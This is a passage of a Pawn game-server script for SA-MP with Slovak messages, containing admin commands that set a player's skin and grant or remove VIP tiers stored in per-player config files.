        else if(skinid<0 || skinid>299) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /setskin [ ID ] 0 - 299");
        else
        {
            new MSG1[128];
            new Name[24], Name2[24];
            GetPlayerName(playerid,Name,24);
            GetPlayerName(id,Name2,24);

            format(MSG1,128,"Nastavil si hráčovi %s (%d) skin číslo %d.",Name2,id,skinid);
            SendClientMessage(playerid,COLOR_ADMIN,MSG1);
            
            format(MSG1,128,"Administrátor %s (%d) ti nastavil skin číslo %d.",Name,playerid,skinid);
            SendClientMessage(id,COLOR_ADMIN,MSG1);

            SetPlayerSkin(id,skinid);
            Player[id][Skin]=skinid;
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_setvip(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new tarif = chrfind(' ',params)+1;
        new days = tarif+2;

             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else if(!strlen(params) || !strlen(params[tarif]) || !strlen(params[days])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /setvip [ ID ] [ TARIF ] [ DAYS ]");
        else if(strval(params[tarif])>3 || strval(params[tarif])<1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /setvip [ ID ] [ 1-3 ] [ DAYS ]");
        else if(strval(params[days])>60 || strval(params[days])<1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /setvip [ ID ] [ TARIF ] [ 1-60 ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else
        {
            new Name[26];
            new Name2[26];
            GetPlayerName(playerid,Name,26);
            GetPlayerName(id,Name2,26);

            new viptarif[16];
            if(strval(params[tarif])==1) viptarif="Bronze";
            else if(strval(params[tarif])==2) viptarif="Silver";
            else if(strval(params[tarif])==3) viptarif="Gold";
            else viptarif=" ";

            new string[256];
            format(string, 256, "Administrátor %s dal hráčovi %s VIP Tarif %s na %d dní !", Name,Name2,viptarif,strval(params[days]));
            SendClientMessageToAll(COLOR_ADMIN, string);

            new way[32];
            format(way,32,"SL/%s.cfg",Name2);

            dini_IntSet(way,"VIP_Tarif", strval(params[tarif]));
            dini_IntSet(way,"VIP_Days", strval(params[days]));

            SendClientMessage(id,COLOR_GOLD,"[  VIP  ] Pri dalšom prihláseni sa ti automaticky aktivuje VIP !");
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_removevip(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);

             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ Admin Level 5 !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /removevip [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else if(Player[id][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč nemá VIP !");
        else
        {
            new Name[26];
            new Name2[26];
            GetPlayerName(playerid,Name,26);
            GetPlayerName(id,Name2,26);
            new string[128];
            format(string, 128, "Administrátor %s odobral hráčovi %s VIP !", Name, Name2);
            SendClientMessageToAll(COLOR_ADMIN, string);

            new way[32];
            format(way,32,"SL/%s.cfg",Name2);

            dini_IntSet(way,"VIP_Tarif",0);
            dini_IntSet(way,"VIP_Days",0);
            dini_IntSet(way,"VIP",0);
            dini_IntSet(way,"VIP_Time",0);
            Player[playerid][VIP]=0;

            SendClientMessage(id,COLOR_GOLD,"[  VIP  ] Bol ti odobrany VIP Účet !");
        }
    }
    return 1;
}